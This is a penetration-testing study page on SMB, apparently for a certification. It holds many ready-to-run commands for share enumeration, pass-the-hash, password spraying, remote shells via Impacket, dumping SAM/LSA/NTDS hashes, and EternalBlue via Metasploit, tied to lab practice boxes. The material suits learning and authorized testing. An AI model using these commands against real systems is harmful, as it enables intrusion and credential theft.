SMB
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
TL;DR
SMB (Server Message Block). File, printer, and resource sharing on Windows. Samba is the Linux implementation. TCP 445 carries SMB over TCP. TCP 139 is the legacy NetBIOS session port. UDP 137/138 carry NetBIOS name and datagram traffic. Dialects run from SMBv1 (legacy, dangerous) through SMBv2 and SMBv3.
First checks: null or guest session, share list and permissions, OS and dialect, and whether the server requires signing.
Protocol background is in SMB & NetBIOS.
Commands
Inside an smbclient session:
| Command | Does |
|---|---|
ls / dir |
List the current directory. |
cd <dir> |
Change directory. |
get <file> |
Download a file. |
mget * |
Download many files. |
put <file> |
Upload a file. |
recurse |
Toggle directory recursion. |
prompt |
Toggle the per-file confirmation. |
!<cmd> |
Run a local shell command. |
exit |
Close the session. |
Enumeration
Workflow: a quick nxc fingerprint to start, then the full sweep and deep enumeration, then browse
with smbclient. The rest are fallback and cross-check.
Quick pass. Fingerprint the host and test a null session:
nxc smb $TARGET # hostname, domain, OS, SMB version, signing, SMBv1nxc smb $TARGET -u '' -p '' --shares # readable shares over a null sessionThe null session shows any readable shares, enough to start on while the full scan runs.
Sweep. Ports, version, signing, and the MS17-010 check:
# ports, dialects, signing, and MS17-010sudo nmap -p139,445 -sC -sV --script smb-os-discovery,smb-protocols,smb-security-mode,smb-vuln-ms17-010 -oA scans/smb $TARGETsmb-protocols lists the dialects. The highest one hints at the OS: SMB 3.1.1 means Windows 10 or
Server 2016 and later.
Enumerate with NetExec (nxc, the maintained CrackMapExec fork). One command pulls shares,
users, groups, and the password policy, over null, credentialed, or pass-the-hash auth:
nxc smb $TARGET -u '' -p '' --shares --users --groups --pass-pol --rid-brute # null sessionnxc smb $TARGET -u <user> -p <pass> --shares --users # with credentialsnxc smb $TARGET -u <user> -H <hash> --shares --users # pass the hashnxc smb $TARGET -u <user> -p <pass> --local-auth --shares # local account, non-domain hostnxc smb $TARGET -u <user> -p <pass> --spider <share> --pattern <text> # find files by name in a share--rid-brute cycles RIDs when the server blocks user enumeration. --local-auth logs in with a
local account, not a domain one. Usernames feed password spraying and Kerberos attacks.
Browse and download with smbclient. List shares, then connect to one:
smbclient -L //$TARGET/ -N # null sessionsmbclient -L //$TARGET/ -U '<user>%<pass>' # with credentialssmbclient //$TARGET/<share> -U '<user>%<pass>' # connect to a sharesmbclient //$TARGET/<share> -U '<DOMAIN>/<user>%<pass>' # domain accountsmbclient //$TARGET/<share> -U '<user>%<nthash>' --pw-nt-hash # pass the hash-L lists instead of connecting. -N is the null session. -U user%pass passes credentials
inline, and omitting %pass prompts for it. Prefix DOMAIN/ for a domain account. --pw-nt-hash
treats the password slot as an NT hash, for pass-the-hash.
Pull a whole share at once:
smb: \> recurse ON # walk subdirectoriessmb: \> prompt OFF # skip the per-file confirmationsmb: \> mget * # download everythingsmb: \> !ls # run a local shell command without leaving the sessionMount a share as a local filesystem:
# mount the share at /mnt/smbsudo mount -t cifs //$TARGET/<share> /mnt/smb -o username=<user>,password=<pass>Hunt and download across shares without browsing by hand:
smbclient //$TARGET/<share> -U '<user>%<pass>' -c 'get <file>' # grab one file, no sessionsmbmap -H $TARGET -u <user> -p <pass> -R --depth 5 # recursive listingsmbmap -H $TARGET -u <user> -p <pass> --download '<share>/path/file' # download one filenxc smb $TARGET -u <user> -p <pass> -M spider_plus # index every readable filesmbclient -c runs one command and exits. smbmap -R walks shares to a depth. The spider_plus
module writes an index of every readable file for review.
Fallback and cross-check. Each wraps one interface. Use them when nxc misses something, or to
cross-check it:
enum4linux-ng -A $TARGET # dump everything in one runrpcclient -U "" -N $TARGET # raw MS-RPC calls over a null sessionimpacket-samrdump $TARGET # list users (Impacket)smbmap -H $TARGET # per-share permissionsInside rpcclient:
rpcclient $> querydominfo # domain inforpcclient $> enumdomusers # list users and their RIDsrpcclient $> queryuser <RID> # details for one userTools parse responses differently, so one surfaces what another misses.
Common misconfigurations
- Null session or guest access to shares.
- Readable shares holding credentials, configs, scripts, or backups.
- Writable shares.
- SMB signing not required.
- SMBv1 enabled.
- Weak or reused credentials.
Version exploits
Match the OS and dialect from enumeration before trusting any of these.
- EternalBlue (MS17-010, CVE-2017-0144): SMBv1 remote code execution.
- MS08-067 (CVE-2008-4250): older Windows
netapiremote code execution. Found on Windows XP and 2003 targets. - SambaCry (CVE-2017-7494): Samba 3.5.0 and later, a writable share loads an uploaded shared library for remote code execution.
- Samba
usermap_script(CVE-2007-2447): Samba 3.0.20 to 3.0.25rc3, command injection in the username field.
sudo nmap -p445 --script smb-vuln-ms17-010 $TARGET # check for EternalBlueuse exploit/windows/smb/ms17_010_eternalblue # Metasploit module for EternalBlueAttack playbook
- Search the shares. Null, guest, or weak creds let you read. Pull configs, scripts, and
backups for credentials and host detail. Watch for
Groups.xmlwith a GPPcpasswordin a domain share. The usual SMB win. Listing and connection are in Enumeration. Keyword search across many shares is in Hunting (Shares).gpp-decrypt '<cpassword>' # decrypt the GPP password from Groups.xml - Reuse credentials or hashes. Creds and NTLM hashes found over SMB often work on SMB,
WinRM, RDP, and MSSQL.
nxc smb $TARGET -u <user> -H <hash> # pass the hash
- Execute commands with admin creds. Local-admin access runs commands and gives a shell.
impacket-wmiexecis quieter thanimpacket-psexec, dropping no service.nxc smb $TARGET -u <admin> -p <pass> -x 'whoami' # run a cmd commandnxc smb $TARGET -u <admin> -p <pass> -X 'whoami' # run a PowerShell commandimpacket-psexec '<admin>:<pass>@'$TARGET # full shell through a serviceimpacket-wmiexec '<admin>:<pass>@'$TARGET # full shell over WMI, no serviceimpacket-smbexec '<admin>:<pass>@'$TARGET # full shell through a service, no binary upload - Dump secrets with admin creds. Pull hashes to reuse, then feed them back into pass-the-hash.
nxc smb $TARGET -u <admin> -p <pass> --sam --lsa # local hashes and LSA secretsnxc smb $TARGET -u <admin> -p <pass> --ntds # domain hashes, on a domain controllerimpacket-secretsdump '<admin>:<pass>@'$TARGET # SAM, LSA, and NTDS in one run
- Write for code execution or hash capture. A writable share takes a payload, or an SCF or LNK file that makes a victim authenticate to you. Capture the NetNTLM hash with Responder.
- Version exploit. Match the dialect and OS, then see Version exploits above. SMBv1 targets are the common one.
- Brute or spray. Last resort. Check the lockout threshold first, then spray one password
across a user list.
nxc smb $TARGET --pass-pol # lockout thresholdnxc smb $TARGET -u users.txt -p '<Password>' --continue-on-success # spray, keep going after a hitnxc smb $TARGET -u users.txt -p '<Password>' --continue-on-success --local-auth # spray local accounts, non-domain host
nxcstops at the first valid login.--continue-on-successkeeps spraying, to find every account that shares the password.--local-authtargets a computer that is not domain joined. Spraying, stuffing, and defaults are in Spraying and Defaults.
Situational: relay NTLM authentication with ntlmrelayx and Responder when signing is not
required. --rid-brute lists users when the server blocks direct enumeration.
Practice boxes
| Box | Difficulty | SMB’s role |
|---|---|---|
| Dancing | Starting Point | Null session connects to a share. Pure SMB intro. |
| Active | Easy | Anonymous read of the Replication share leaks a GPP cpassword for credentials. |
| Lame | Easy | Samba 3.0.20 usermap_script (CVE-2007-2447) for a root shell. |
| Blue | Easy | SMBv1 EternalBlue (MS17-010) for remote code execution. |
| Legacy | Easy | Windows XP SMBv1, vulnerable to MS17-010 and MS08-067. |
| Bastion | Easy | Guest share holds a VHD. Mount it and extract SAM hashes. |
On easy boxes SMB is often the whole foothold. On harder ones it feeds lateral movement: a share leak, a captured hash, or a pass-the-hash onto the next host.